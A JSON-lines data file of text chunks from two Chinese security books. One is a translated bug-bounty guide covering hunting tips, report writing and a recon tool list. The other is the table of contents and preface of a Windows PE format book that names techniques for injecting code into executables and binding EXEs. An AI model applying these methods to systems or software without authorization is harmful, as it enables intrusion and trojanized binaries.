    {"text": "未知 19.3 走得更远一些 一旦你已经完成了侦察并且也完成了对你发现的所有功能点的全面测试，你应该研究一下使得你的漏洞查找更为高效的其他方法。尽管我不能在所有情形下告诉你该怎么做，但是我的确可以给你一些建议。 19.3.1 自动化你的工作 一个节省时间的方式就是使你的工作能够自动化。尽管我们在本章中使用了一些自动化工具，但是大部分提到的技术都是手工的，这也就意味着会受时间的限制。为消除时间障碍，你需要计算机为你自动破解。Rojan Rijal在他发现Shopify具有漏洞的子域上线五分钟后就能将该漏洞披露出来。他能这么快地发现漏洞，是因为他在Shopify上采用了自动侦察。如何自动化你的破解过程超出了本书的范围——即使没有这些自动化工具，成为一个成功的漏洞奖金黑客也是完全有可能的——但是采用自动化工具一般来说也是黑客增加他们收入的一种手段。你可以通过自动化侦察过程来开始你的漏洞挖掘之旅。例如，你可以自动化几个任务，比如子域暴力破解、端口扫描和可视化侦察等。 19.3.2 研究移动应用 另外一个发现更多漏洞的机会是研究漏洞奖励项目范围内包含的移动应用程序。本书聚焦于网站破解，但是移动应用破解可以有更多的发现漏洞的机会。你可以采用两种方式之一实现对移动应用程序的破解：直接测试应用程序代码或者测试应用程序交互的API。我聚焦于后者，因为它类似于网站破解，并且我可以集中精神在例如IDOR、SQLi、RCE等漏洞类型上。为开始测试移动应用API，你需要在通过Burp使用移动应用时代理你的手机流量。这是一种查看HTTP调用的方式，你也可以操纵这些HTTP调用。但是有时应用程序使用了SSL绑定（SSL pinning），这意味着它不能识别和使用Burp的SSL证书，因此你也不能代理应用程序的流量。旁路SSL绑定、代理移动应用、通用移动应用程序破解超出了本书范围，但是它们确实能够为新知识的学习提供良好的机会。 19.3.3 识别新功能 下一个要关注的领域是识别增加到你正在测试的应用程序中的新功能。Philippe Harewood是将这项技能掌握到令人感觉惊人的人。作为在Facebook漏洞奖励项目中的顶级挖掘者，他在网站 https://philippeharewood.com/ 上开放共享了他发现的漏洞。他的文章例行提到了他发现的新功能以及他由于能够快速识别新功能而在其他人发现之前发现的漏洞。Frans Rosen在Detectify的博客网站 https://blog.detectify.com/ 分享了他识别新功能的一些方法。为了追踪你正在测试的网站上新增加的功能，你可以阅读这些网站的工程博客、监督这些网站的工程推特、订阅它们的简讯等。 19.3.4 追踪JavaScript文件 你也可以通过追踪JavaScript文件发现网站的新功能。当网站依赖于前端JavaScript框架来进行内容呈现时，聚焦到JavaScript文件上来寻找新功能是特别强大的。应用程序将依赖于网站使用的大多数HTTP端点都已经包含在了JavaScript文件中。对文件的修改很可能就代表着你可以测试的新的功能或修改后的功能。Jobert Abma、Brett Buerhaus和Ben Sadeghipour已经讨论过了怎样追踪JavaScript文件的方法；你可以在Google搜索引擎中输入他们的名字和单词“reconnaissance”（侦察）来快速找到他们的文章。 19.3.5 为访问新功能而付费 当你尝试着从漏洞奖励项目赚钱时，你也要为访问新功能而付费，这看起来有些违背常理。Frans Rosen和Ron Chan讨论过通过为访问新功能而付费所带来的成功。例如，Ron Chan曾经支付了几千美元去测试一个应用，并且发现了数量众多的漏洞，使得他的投资非常值得。我也曾经为产品、注册账号、服务等付过费以扩大我潜在的测试范围，并取得了成功。人们一般不想为网站上他们不使用的功能付费，因此这些功能就可能存在更多未被挖掘的漏洞。 19.3.6 学习技术 另外，你可以深入研究一下公司所采用的技术、库和软件，并详细了解它们的工作原理。你所了解的一项技术的工作原理越多，就越有可能在测试的应用中发现基于这些技术的漏洞。例如，在第12章中发现ImageMagick漏洞就需要理解ImageMagick及其定义的文件类型的工作原理。你也可以通过研究被连接到类似ImageMagick库的其他技术来发现更多的漏洞。Tavis Ormandy就是这样发现ImageMagick支持的Ghostscript上的漏洞的。你可以在 https://www.openwall.com/lists/oss-security/2018/08/21/2 中找到关于这些Ghostscript漏洞的更多信息。类似地，FileDescriptor在一篇博客文章中透露，他阅读了关于网站功能的RFC文档，并专注于安全方面，以了解网站上这些安全机制应该如何工作，而不是实际上是如何实现的。他对OAuth的深刻理解是深入研究大多数网站所使用技术的一个很好的例子。"},
    {"text": "未知 19.4 总结 在本章中，根据我自己的经验以及对顶级漏洞奖励获得者的采访，我试图阐明一些可能的黑客破解方法。到目前为止，在对目标进行侦察、理解目标提供的功能、将这些功能映射为用于测试的漏洞类型之后，我获得了很大成功。但是，我将继续探索并鼓励你也关注的领域是自动化和文档化你的方法。 有很多黑客工具可以使你更容易进行漏洞挖掘：Burp、ZAP、Nmap和Gowitness是我提到的几种。为了利用好你的时间，在你进行破解时要记住这些工具。 一旦在典型的挖掘漏洞过程中你已经穷途末路了，可以通过深入挖掘你所测试的网站提供的移动应用程序和新的功能来寻找使你的漏洞挖掘更容易成功的方法。 未知 第20章 漏洞报告 所以，你找到了你的第一个漏洞。恭喜你！找到漏洞的确很难。我的第一条建议是放松自己，不要走得太快。当你慌张失措的时候，往往容易犯错误。相信我——我知道发现了一个漏洞的兴奋感觉和提交一个漏洞却仅仅得到报告被拒绝的感受。更为糟糕的是，当公司将你的报告认作无效进行关闭时，漏洞奖励平台会降低你的信誉积分。本章将通过给你一些关于如何写好一篇漏洞报告的建议来帮助你避免出现这种情况。 未知 20.1 阅读政策 在你提交一个漏洞之前，一定要确保看过了该漏洞奖励项目的相关政策。参与到漏洞奖励平台的每家公司都会提供一个政策文档，其中通常列出了不在奖励范围内的漏洞类型列表以及哪些资产在奖励范围内而哪些不在。在进行破解之前总是要阅读一下公司的政策，以免浪费你的时间。如果你还没有阅读漏洞奖励项目的相关政策，现在要阅读一下以确保你所寻找的不是公司不要求报告的通用问题或漏洞。 这里是我犯的一个本可以通过阅读相关政策而避免的错误。我是在Shopify上发现的我的第一个漏洞。我发现如果在Shopify的文本编辑器中提交格式错误的HTML，它的解析器会纠正这些错误并存储XSS。我非常兴奋。我想我的漏洞捕获终于有了回报，并担心我提交报告的速度还不够快。 在提交完报告之后，我等着我的至少500美元的奖金。在提交后的五分钟内，漏洞奖励项目礼貌地告诉我该漏洞早就已知并且被要求不要再提交。我的报告被作为无效报告关闭，并且我损失了五个信誉积分。我真想找个地洞钻进去。这是一个无情的教训。 请以我的错误为鉴，阅读相关政策。 未知 20.2 包含细节，包含更多 在你确认了你可以报告漏洞之后，你就需要撰写你的漏洞报告了。如果你想让公司认真对待你的报告，报告中要提供包括如下所示的这些细节： ●重现该漏洞的URL以及任何受影响的参数。 ●你的浏览器、你的操作系统（如适用）和被测试的应用程序的版本（如果适用）。 ●漏洞的描述。 ●漏洞重现的步骤。 ●漏洞影响的说明，包括如何利用该漏洞。 ●修复该漏洞的建议及修复程序。 我推荐在你的报告中应该包含漏洞证明，可以是界面截屏方式，也可以是不超过两分钟的短视频。概念证明（POC）材料不仅仅提供了你发现的一条漏洞记录，还有助于展示如何重现漏洞。 当你准备漏洞报告时，你也需要考虑该漏洞的可能影响。例如，Twitter上的一个存储型XSS漏洞就可能是一个严重的问题，因为Twitter是一个公众公司，具有大量用户，人们对平台都十分信任，等等。相比之下，一个没有用户账号的网站可能会认为存储型XSS不是那么严重的漏洞。相反，在一个托管了个人健康记录的敏感网站上的隐私泄露就比在Twitter（大部分用户信息都是公开的）上的更具威胁性。"},
    {"text": "未知 20.3 再次确认漏洞 在你已经阅读了公司的政策，起草了你的报告，并且也包含了一些概念证明材料后，花一分钟的时间问问你自己你正在报告的是否真的是一个漏洞。例如，如果你正在报告一个CSRF漏洞，因为你不能在HTTP请求体中看到令牌，检查一下该令牌是否会作为一个消息头进行传递。 在2016年3月，Mathias Karlsson写了一篇关于找到同一来源策略（SOP）绕过漏洞的非常棒的博客文章（ https://labs.detectify.com/2016/03/17/bypassing-sop-and-shouting-hello-before-you-cross-the-pond/ ）。但是他没有获得奖金，Karlsson在他的博客中使用瑞典谚语“Don’t shout hello before you cross the pond”进行了解释，该谚语的意思是：“在你没有绝对把握确认已经成功时，千万不要祝贺”。 根据Karlsson的说法，他在测试Firefox时，发现浏览器会接受macOS上格式错误的主机名。特别地，URL http://example.com..将会加载example.com，但是会在host头中发送example.com..。然后他试着访问http://example.com...evil.com，结果一样。他知道这意味着他能够绕过SOP，因为系统会将http://example.com...evil.com看作在\\*.evil.com域下。他测试了Alexa排名中前10000个网站，并发现7%左右的网站是可以利用该漏洞的，其中包括yahoo.com。 他写下了该漏洞，但后来决定与同事再次检查一下这个问题。他们使用另一台计算机重现了该漏洞。他更新了Firefox，漏洞仍然存在。他在推特上发布了该漏洞的情况。随后他意识到自己犯了错误。他没有更新他的操作系统。在更新操作系统之后，漏洞消失了。很显然，他注意到的漏洞已经被报告了，并在六个月前就被修复了。 Karlsson是最好的漏洞猎人之一，但即使是他也差点犯下了令人尴尬的错误。一定要在报告漏洞之前反复确认你的漏洞。当你认为你发现了一个重大的漏洞但随后意识到你误解了应用程序并提交了一份无效的报告时，这是一件令人十分失望的事。 未知 20.4 你的信誉 当你考虑提交一份漏洞报告的时候，一定要退一步问问自己：你是否为能够公开披露该报告而感到骄傲？ 当我开始破解时，我提交了很多报告，因为我想成为一个有帮助的人，并进入漏洞挖掘排行榜。但是我确实在写无效的报告时浪费了大家的时间。不要犯跟我一样的错误。 你可能并不关注你的信誉，或者你可能会相信公司通过对接收到的报告进行排序来发现有意义的漏洞。但是在所有的漏洞奖励平台，你的个人统计信息的确十分重要。这些统计信息会被追踪，并且公司使用这些统计信息来决定是否邀请你参加私有漏洞奖励项目。这类的项目对黑客来说一般回报都是丰厚的，因为参与其中的黑客较少，竞争也较小。 这是我的经历中的一个例子：我被邀请参加一个私有漏洞奖励项目，并且一天就发现了八个漏洞。但是当晚我提交一份报告给另一个漏洞奖励项目时，得到的反馈结果是不适用。这份报告降低了我在HackerOne上的统计积分。因此，当我第二天向一个私有漏洞奖励项目提交另外一个漏洞报告时，我被通知我的统计积分太低，并且不得不等三十天后再报告我发现的漏洞。等三十天一点都不好玩。我还是幸运的——这期间没有人发现该漏洞。但犯错误带来的后果教会了我在所有平台上都要重视自己的信誉。"},
    {"text": "未知 20.5 对公司表示尊重 尽管这一点很容易被忘记，但是的确并不是所有的公司都有资源能够立即响应漏洞报告或集成漏洞修复程序。在你撰写漏洞报告或持续跟进时，一定要站在公司的视角考虑问题。 当公司开启了一个新的公开漏洞奖励项目时，它很容易就会被淹没在待分类处理的漏洞报告中。在你开始要求公司进行应用升级前，给它们一些时间来回复你。有些公司政策中包含了服务水平协议（SLA）和对报告回应时间的承诺。平复一下你的兴奋心情，并考虑一下公司的工作量。对于一个新的报告，我们一般期望五个工作日内会得到答复。如果超过了五天，你通常可以发表礼貌的评论以确认报告的状态。大多数情况下，公司会给出回应并让你知道报告的状态。如果它们没有给出响应，你应该在再次追问或者通过平台升级该问题之前再给这些公司几天的处理时间。 另一方面，如果公司确认了报告中阐述的漏洞，你可以询问修复程序推出的时间表以及今后是否还会持续保持更新。你也可以问问是否可以在一两个月后重新对其进行测试。开放的沟通是你想继续为之工作的漏洞奖励项目的指示器，如果一家公司一直对你的报告没有回应，那么你最好转向另外一个漏洞奖励项目。 在写本书时，我足够幸运地可以与Adam Bacchus进行对话和探讨，当时他是HackerOne的首席奖励官（Chief Bounty Officer）（自2019年4月起，他已经重新回到Google并参与了Google Play奖励项目）。Bacchus之前的经历包括在Snapchat的时光，在那里他主要的工作是建立起安全与软件工程之间的桥梁。他也在Google的漏洞管理组（Vulnerability Management Team）工作过，以帮助运营Google漏洞奖励项目（Google Vulnerability Reward Program）。 Bacchus帮我理解了在运营一个漏洞奖励项目时，问题分诊员所面临的状况： ●尽管漏洞奖励项目在持续地改进，但是它们仍然会收到许多无效报告，特别是当它们是公开项目时。这通常叫作噪声。报告噪声给项目分诊员们带来了不必要的工作，这将延迟他们对有效报告的回应。 ●漏洞奖励项目不得不寻找漏洞修复与早已存在的软件开发义务之间的平衡。当项目收到大量报告或者从不同的人收到关于同一个漏洞的重复报告时，做到这一点显得更加困难。对于低危或中危漏洞来说，把修复程序优先级提高更是特别的挑战。 ●在复杂系统中验证报告中的漏洞是要花费时间的。因此在漏洞报告中撰写漏洞的清晰描述和重现的详细步骤就显得十分重要。当分诊员不得不需要从你那里获取更多信息来验证和重现一个漏洞时，这将延迟该漏洞的修复，也会延迟向你支付奖金。 ●并不是所有的公司都有专职的安全人员来管理一个全时的漏洞奖励项目。小的公司一般会要求职员将时间分别分配在管理漏洞奖励项目和其他开发任务之上。结果是，有些公司会花更长的时间对报告做出回应，也会花更长的时间来追踪修复这些漏洞。 ●修复漏洞需要时间，特别是如果公司是按照软件开发全生命周期进行管理的话更是如此。为集成一个修复程序，公司一般需要经历几个步骤，例如调试、编写测试程序、临时部署等。这些过程会减缓漏洞修复，甚至是在客户依赖的系统中即使发现低危漏洞时也是如此。项目一般会花费比你所预期的更长的时间来确定正确的修复程序。但是这也恰恰说明了为什么保持畅通的通信机制和相互尊重是十分重要的。如果你担心不能很快拿到奖金，那就把精力集中在为漏洞分诊而付费的项目上。 ●漏洞奖励项目希望能够留住黑客。这是因为根据HackerOne的描述，一个黑客所报告的漏洞的严重性会随着该黑客在该项目中不断提交新的漏洞报告而逐渐增加。这通常叫作该项目中的深度挖掘。 ●发布不良消息是真的。漏洞奖励项目总是要承担错误退回漏洞报告、花太长时间进行修复、支付黑客认为太低的奖金等风险。另外，当有些黑客觉得以上情况发生时，就会在社交媒体或传统媒体上对漏洞奖励项目极力指责。这些风险影响了漏洞分诊员开展工作的方式，也影响了他们与黑客关系的维持。 Bacchus分享了这些真知灼见，目的是能够让漏洞奖励过程更加人性化。我也有如他所描述的全部类型的漏洞奖励项目运营经历。当你撰写漏洞报告时，时刻要记住黑客和项目工作人员需要针对这些挑战达成共识而开展工作，并不断改进各自的状况。"},
    {"text": "未知 20.6 寻求奖励报酬 如果你向一家支付奖金的公司提交了一个漏洞，要尊重它关于奖金数额的决定，但是不要害怕向该公司表达不同意见。HackerOne的联合创始人Jobert Abma在Quora上（ https://www.quora.com/How-do-I-become-a-successful-Bug-bounty-hunter/ ）分享了如下关于奖金分歧的处理方式： 如果你不同意接收到的奖金数额，探讨一下为什么你认为应该得到更多。一定要避免你要求更多的奖励但又说不清楚为什么你发现的漏洞会有更多价值的情况出现。相应地，公司也应该尊重你所付出的时间和带来的价值。 礼貌地询问为什么一个报告只值特定数额的奖金是可以的。我之前做这件事的时候，通常会使用下面的措辞： 非常感谢你提供的奖金，我真的很感激。我很好奇这个奖励数额是怎么确定的。我希望能够获得X美元，但是你支付了Y美元。我想该漏洞可以被进一步利用，这将会对你的系统或用户造成重大影响。我希望你能够帮助我理解这些，这样我可以在后面的工作中把时间集中在你更关注的事项上面。 作为回应，公司做了如下事情： ●解释了该报告中漏洞的影响比我认为的要小，并且没有改变奖金数额。 ●承认它们误解了我的报告中漏洞的价值，并且提升了奖励金额。 ●承认它们将我的报告中的漏洞错分了类别，并且在纠正类别之后提升了奖金数额。 如果一家公司披露了一份漏洞报告，其中包含与你的奖金预期相符的同一类型的漏洞或者具有相似影响的漏洞，你也可以在后续漏洞报告中引用该报告以说明你对奖金的预期。但是我建议你只引用同一个公司的漏洞报告。不要引用来自不同公司的支付更高数额的漏洞，因为来自公司A的漏洞奖励并不意味着你必然能够从公司B获得同样的漏洞奖励。 未知 20.7 总结 对于成功的漏洞奖励黑客来说，知道怎样写一篇优秀的漏洞报告和怎样与漏洞奖励项目工作人员沟通你的发现是十分重要的技巧。阅读项目政策是十分必要的，因为它决定了你应该在漏洞报告中包括哪些细节内容。一旦你发现了一个漏洞，再次确认你的发现以避免无效报告是必不可少的。即使是如Mathias Karlsson这样优秀的黑客都要时刻保持警惕以避免犯下错误。 一旦你已经提交了你的报告，对诊断处理你的潜在漏洞的分诊员一定要保持同理心。在你和公司打交道时一定要时刻记住Adam Bacchus给出的真知灼见。如果你被支付了一份奖金，但你又觉得不太合适时，最好是与这些公司进行礼貌地对话，而不是在Twitter上发泄。 你撰写的所有报告都会影响你在漏洞奖励平台上的信誉。保护你的信誉是重要的，因为平台会使用你的信誉统计信息来决定是否邀请你参加私有漏洞奖励项目，而在这些项目中你可能会根据你的投入获得更高的回报。"},
    {"text": "未知 附录A 附录A 本附录包含一系列道德黑客经常使用的工具，其中一些工具使你可以自动化侦察过程，而其他工具则可以帮助你发现要攻击的应用程序。"},
    {"text": "●ZAP Proxy OWASP Zed攻击代理（ZAP）是基于社区的类似于Burp的开源平台，是免费工具，可在 https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project 中找到。"},
    {"text": "●Amass OWASP Amass工具（ https://github.com/OWASP/Amass ）通过检索数据源，使用递归暴力破解，爬取Web档案，排列或更改名称以及使用反向DNS扫描来获取子域名。"},
    {"text": "●SubFinder SubFinder（ https://github.com/subfinder/subfinder/ ）是用Go语言编写的子域发现工具，可通过使用被动的在线资源发现有效的网站子域。"},
    {"text": "●SecLists 尽管从技术上说SecLists本身并不是一种工具，但它（ https://github.com/danielmiessler/SecLists/ ）是可以在黑客入侵时使用的单词列表的集合。"},
    {"text": "●EyeWitness EyeWitness（ https://github.com/FortyNorthSecurity/EyeWitness/ ）旨在获取网站的屏幕截图，提供服务器标头信息并在可能的情况下标识默认凭据。"},
    {"text": "这是一个很好的工具，它可以检测哪些服务正在公共HTTP和HTTPS端口上运行，并且你可以将其与其他工具（例如Nmap）一起使用，以快速遍历黑客目标。"},
    {"text": "●Google Dorking Google Dorking（ https://www.exploit-db.com/google-hacking-database/ ）指的是使用Google提供的高级语法来查找手动浏览网站时不易获得的信息。"},
    {"text": "●Shodan Shodan（ https://www.shodan.io/ ）是物联网的搜索引擎，可以帮助你发现哪些设备已连接到互联网、它们的位置以及谁在使用它们。"},
    {"text": "●dex2jar 移动黑客工具dex2jar（ https://sourceforge.net/projects/dex2jar/ ）组将dalvik可执行文件（.dex文件）转换为Java.jar文件，这使得审核Android APK更加容易。"},
    {"text": "9.浏览器插件 Firefox有多个浏览器插件，你可以将它们与其他工具结合使用。 尽管我在这里仅介绍了Firefox版本的工具，但是可能会有其他浏览器可以使用的等效工具。"},
    {"text": "●Exploit数据库 尽管不是传统的在线培训课程，但Exploit数据库（ https://www.exploit-db.com/ ）可以记录漏洞，如果可能的话，还会连接常见的漏洞和披露（CVE）并将它们记录下来。"},
    {"text": "●Hack The Box Hack The Box（ https://www.hackthebox.eu/ ）是一个在线平台，使你可以测试你的渗透测试技能并交流想法，以及参考其他站点成员的方法。"},
    {"text": "●PentesterLab PentesterLab（ https://pentesterlab.com/ ）提供了脆弱的有漏洞的测试系统，可供读者进行测试和理解，练习基于在不同系统中发现的常见漏洞。"},
    {"text": "建议到HTML和CSS（ https://www.udacity.com/course/intro-to-html-and-css--ud304/ )查看简介、JavaScript基础知识（ https://www.udacity.com/course/javascript-basics--ud804/ ）和计算机科学简介（ https://www.udacity.com/course/intro-to-computer-science--cs101/ ）。"},
    {"text": "●Bugbounty JP Bugbounty JP（ https://bugbounty.jp/ ）是另一个新平台，被认为是日本第一个漏洞悬赏平台 ●Bugcrowd Bugcrowd（ https://www.bugcrowd.com/ ）是另外一个漏洞悬赏平台。"},
    {"text": "HackerOne平台包括非付费漏洞披露程序和付费漏洞悬赏程序。 HackerOne上的程序可以是私有程序、受邀请程序，也可以是公开程序。 截至撰写本文时，在征求解决该漏洞的程序同意后，HackerOne是允许黑客在其平台上公开披露漏洞的唯一平台。"},
    {"text": "●Twitter Tags 尽管Twitter包含了很多无关内容，但它在#信息安全（#infosec）和#漏洞赏金（#bugbounty）主题标签下具有许多有趣的与安全性和漏洞相关的推文。"},
    {"text": "4.视频资源 你可以通过观看漏洞赏金视频的方式获得更直观，按步骤划分的演练，甚至直接从其他黑客那里获得建议。 其中一些视频教程专门讨论漏洞查找，或者你也可以观看漏洞赏金大会上的演讲来学习新技术。"},
    {"text": "你可以在 https://www.youtube.com/playlist?list=PLIK9nm3mu-S5InvR-myOS7 hnae8w4EPFV 找到2017年的会议演讲，在 https://www.youtube.com/playlist?list=PLIK9nm3mu-S6gCKmlC5CDFhWvbEX9fNW6 找到2018年的演讲视频。"},
    {"text": "“Web黑客101”（Web Hacking 101）系列展示了对顶级黑客的采访，其中包括Frans Rosen，Arne Swinnen，FileDescriptor，Ron Chan，Ben Sadeghipour，Patrik Fehrenbach，Philippe Harewood，Jason Haddix等。"},
    {"text": "●Bugcrowd Blog Bugcrowd博客（ https://www.bugcrowd.com/about/blog/ ）中发布了一些非常有用的内容，包括对技术不错的黑客的采访以及其他有用的材料。"},
    {"text": "●HackerOne Blog HackerOne博客（ https://www.hackerone.com/blog/ ）发布了一些对黑客有用的内容，例如推荐博客，平台新功能（寻找新漏洞的好地方），以及如何成为一个更好的黑客的技巧提示。"},
    {"text": "●Patrik Fehrenbach的博客 在本书中，我写了Patrik Fehrenbach发现的许多漏洞内容，他的博客 https://blog.it-securityguard.com/ 上还有更多漏洞。"},
    {"text": "Windows PE 权威指南 书名页 Windows PE 权威指南 戚利 著 ISBN：978-7-111-35418-5 本书纸版由机械工业出版社于2011年出版，电子版由华章分社（北京华章图文信息有限公司）全球范围内制作与发行。 版权所有，侵权必究 客服热线：+ 86-10-68995265 客服信箱：service@bbbvip.com 官方网址：www.hzmedia.com.cn 新浪微博 @研发书局 腾讯微博 @yanfabook 目录 目 录 前言 本书适合的读者 本书内容特色 本书约定 配套工具 联系作者 特别提醒 致谢 第一部分 PE的原理和基础 第1章 Windows PE开发环境 1.1 开发语言MASM32 1.2 调试软件OllyDBG 1.3 十六进制编辑软件FlexHex 1.4 破解实例：U盘监控器 1.5 初识PE文件 1.6 小结 第2章 三个小工具的编写 2.1 构造基本窗口程序 2.2 PEDump的实现 2.3 PEComp的实现 2.4 PEInfo的实现 2.5 小结 第3章 PE文件头 3.1 PE的数据组织方式 3.2 与PE有关的基本概念 3.3 PE文件结构 3.4 PE文件头部解析 3.5 数据结构字段详解 3.6 PE内存映像 3.7 PE文件头编程 3.8 小结 第4章 导入表 4.1 何谓导入表 4.2 导入函数 4.3 PE中的导入表 4.4 导入表编程 4.5 绑定导入 4.6 手工重组导入表 4.7 小结 第5章 导出表 5.1 导出表的作用 5.2 构造含导出表的PE文件 5.3 导出表数据结构 5.4 导出表编程 5.5 导出表的应用 5.6 小结 第6章 栈与重定位表 6.1 栈 6.2 代码重定位 6.3 PE文件头中的重定位表 6.4 小结 第7章 资源表 7.1 资源分类 7.2 PE资源表组织 7.3 资源表遍历 7.4 PE资源深度解析 7.5 资源表编程 7.6 小结 第8章 延迟加载导入表 8.1 延迟加载导入的概念及其作用 8.2 PE中的延迟加载导入表 8.3 延迟加载导入机制详解 8.4 延迟加载导入编程 8.5 关于延迟加载导入的两个问题 8.6 小结 第9章 线程局部存储 9.1 Windows进程与线程 9.2 什么是线程局部存储 9.3 动态线程局部存储 9.4 静态线程局部存储 9.5 小结 第10章 加载配置信息 10.1 何谓加载配置信息 10.2 Windows结构化异常处理 10.3 PE中的加载配置信息 10.4 加载配置编程 10.5 小结 第11章 动态加载技术 11.1 Windows虚拟地址空间分配 11.2 Windows动态库技术 11.3 在编程中使用动态加载技术 11.4 小结 第二部分 PE进阶 第12章 PE变形技术 12.1 变形技术的分类 12.2 变形技术可用的空间 12.3 PE文件变形原则 12.4 将PE变小的实例HelloWorldPE 12.5 打造目标PE的步骤 12.6 小结 第13章 PE补丁技术 13.1 动态补丁 13.2 静态补丁 13.3 嵌入补丁程序 13.4 万能补丁码 13.5 小结 第14章 在PE空闲空间中插入程序 14.1 什么是PE空闲空间 14.2 添加注册表启动项的补丁程序实例 14.3 手工打造目标PE的步骤 14.4 开发补丁工具 14.5 小结 第15章 在PE间隙中插入程序 15.1 什么是PE间隙 15.2 插入HelloWorld的补丁程序实例 15.3 开发补丁工具 15.4 存在绑定导入数据的PE补丁程序实例 15.5 小结 第16章 在PE新增节中插入程序 16.1 新增PE节的方法 16.2 在本地建立子目录的补丁程序实例 16.3 开发补丁工具 16.4 小结 第17章 在PE最后一节中插入程序 17.1 网络文件下载器补丁程序实例 17.2 开发补丁工具 17.3 小结 第三部分 PE的应用案例 第18章 EXE捆绑器 18.1 基本思路 18.2 EXE执行调度机制 18.3 字节码转换工具hex2db 18.4 执行调度程序_host.exe 18.5 宿主程序host.exe 18.6 EXE捆绑器bind.exe 18.7 小结 第19章 软件安装自动化 19.1 基本思路 19.2 补丁程序patch.exe 19.3 消息发送器_Message.exe 19.4 消息发送器生成工厂MessageFactory.exe 19.5 软件安装自动化主程序AutoSetup.exe 19.6 小结 第20章 EXE加锁器 20.1 基本思路 20.2 免资源文件的窗口程序nores.asm 20.3 免重定位的窗口程序login.asm 20.4 补丁程序patch.asm 20.5 附加补丁运行 20.6 小结 第21章 EXE加密 21.1 基本思路 21.2 加密算法 21.3 开发补丁工具 21.4 处理补丁程序 21.5 小结 第22章 PE病毒提示器 22.1 基本思路 22.2 手工打造PE病毒提示器 22.3 补丁版的PE病毒提示器 22.4 小结 第23章 破解PE病毒 23.1 病毒保护技术 23.2 PE病毒补丁程序解析 23.3 解毒代码的编写 23.4 小结 后记"},
    {"text": "前言 前言 1988年11月，微软开始着手Windows NT的开发工作。当时微软聘请了一组来自DEC公司且由Dave Cutler [1] 领导的开发人员。正因为如此，NT操作系统的许多设计元素均借鉴了DEC在VMS和RSX-11上的前期经验，其中就包括目前Windows操作系统家族系列一直使用的核心文件格式PE/COFF。 1993年7月27日，Windows NT产品线的第一代产品NT 3.1问世。该系统初次使用了PE格式作为操作系统的可执行文件格式。同年，微软将该格式提交给工具接口标准委员会（Tool Interface Standard，TIS）并被获准。 随后，微软在不同版本的Windows操作系统中一直使用这种格式组织其核心可执行文件。其间曾发布了多个PE/COFF版本，目前最新版本是2010年9月21日发布的8.2版。 微软采用术语\"Portable Executable\"来定义这个可执行文件格式，初衷是希望能开发一个在所有Windows平台上和所有CPU上都可执行的通用文件格式。从目前的使用状况来看，这个目标已经基本实现。该格式跨越了Windows操作系统的多个版本，从最初的NT和9x系列，到Windows XP/2000/Vista、Windows CE和目前流行的Windows 7。作为一个被实践验证了的成熟而又稳定的核心文件格式，只要微软不放弃目前操作系统的内核，该格式势必会和操作系统长期共存。 Windows操作系统在市场上的巨大成功与PE文件格式的相对开放引起了广大计算机编程人员的兴趣。通过对PE格式的理解，程序员不仅可以了解操作系统加载可执行文件的过程，还可以学习到操作系统对进程和内存进行管理的相关知识。同时，通过一些技术手段，对PE文件实施变形或打补丁，还可以实现各种不同的应用，如汉化、加密解密、计算机安全、PE病毒等。 本书旨在对PE文件格式进行全面而深入的介绍，通过图示、分析和实例等帮助读者全面了解和掌握PE文件格式，最终达到能通过编程工具灵活地对PE文件进行编程，解决各种与PE文件格式有关的问题的目的。 本书适合的读者 本书适合想详细了解Windows PE文件结构的人、想深入理解Windows系统进程管理及运作机制的人，以及计算机安全领域的初学者和对程序字节码感兴趣的人。具体包括： 初级水平的计算机安全爱好者 对逆向工程、汉化、加密解密、病毒、黑客技术感兴趣的读者 想提高MASM32编程技术的开发人员 开设计算机安全课程院校的学生和老师 [1] 原名David Cutler（大卫·卡特勒），VMS和Windows NT的首度设计师，被誉为美国最伟大的操作系统专家。"},
    {"text": "本书内容特色 本书内容特色 Windows操作系统是迄今为止最优秀的操作系统之一，而PE则是Windows操作系统中的核心文件格式。本书以独特的视角（字节码），展开了对Windows PE文件格式的研究，并在充分理解PE文件格式的基础上，使用4种不同的方法对PE文件进行补丁，以实现各种不同的应用。 在基础理论方面，本书涉及诸多与Windows操作系统内部机制相关的知识，如Windows进程和线程管理、用户模式和内核模式下的Windows SEH异常处理、Windows内存管理与进程虚拟地址空间管理等。 在程序设计方面，本书涉及程序栈、重定位、线程本地存储、代码覆盖、动态加载、延迟导入、静态补丁等技术，并详细讲解了典型实例程序的编写思路及编码实现，这些实例包括：万能补丁码、EXE捆绑器、自动化安装工具、EXE加密、EXE加锁器、PE病毒提示器、网络文件下载器、PE在线自动升级程序、PE反病毒等。 全书共分三大部分：第一部分为PE的原理和基础，全面介绍了PE文件格式的基础技术；第二部分为PE进阶，主要讲解了PE文件变形和静态补丁技术；第三部分为PE的应用案例，主要讲解了如何通过对PE文件实施补丁程序来实现几种典型的应用。以下是各章节的大致内容： 第1章介绍了学习本书所需要的软件开发环境，以及相关辅助软件的使用方法，并开发了第一个基于MASM32的汇编程序，通过字节码阅读器初步认识本书中的主人公PE文件。在本章中，大家将学习到汇编程序从编写到编译、链接、执行的整个过程，了解并掌握汇编程序的调试方法，能对PE文件有一个初步的了解。 第2章介绍了3个常用的PE小工具的编写方法，它们分别是PEDump、PEInfo和PEComp，即PE十六进制字节查看器、PE结构分析器、PE文件比较器。 第3～10章是基础理论部分的重点，主要讲述了PE的结构。其中第3章主要讲述了PE的文件头部分；第4～10章根据数据目录中数据的分类对各类别数据进行了从理论到实践的详细阐述，这些数据主要包括：导入表、导出表、资源表、重定位表、加载配置信息、线程局部存储（TLS）信息、延迟导入信息、绑定导入信息、IAT等。 第11章介绍了动态加载技术，它是一种在编程过程中可以抛开复杂导入表结构，自己在程序空间构造类似导入表的调用引入函数的机制。动态加载技术是编写可移植代码的基础，也是对PE实施补丁必须掌握的技术。 第12章重点讲解了PE文件的变形技术。通过对PE文件的手动修改来理解PE结构中字段的取值范围，以及变形需要遵循的一些基本原则。本章的目标是手工打造一些小的PE程序，探究PE文件内部更深层的机制和原理。 第13章介绍了对PE实施动态补丁和静态补丁的技术，简要介绍了PE静态补丁中的嵌入补丁。嵌入补丁是后面几章要讲解的内容，从补丁框架、补丁程序编写规则等几方面进行了详细的介绍。 第14～17章介绍了4种PE嵌入补丁方法：第一是向PE空闲空间中插入补丁程序的方法，第二是向PE间隙中插入补丁程序的方法，第三是向PE新增节中插入补丁的方法，第四是向PE最后一节插入补丁程序的方法。 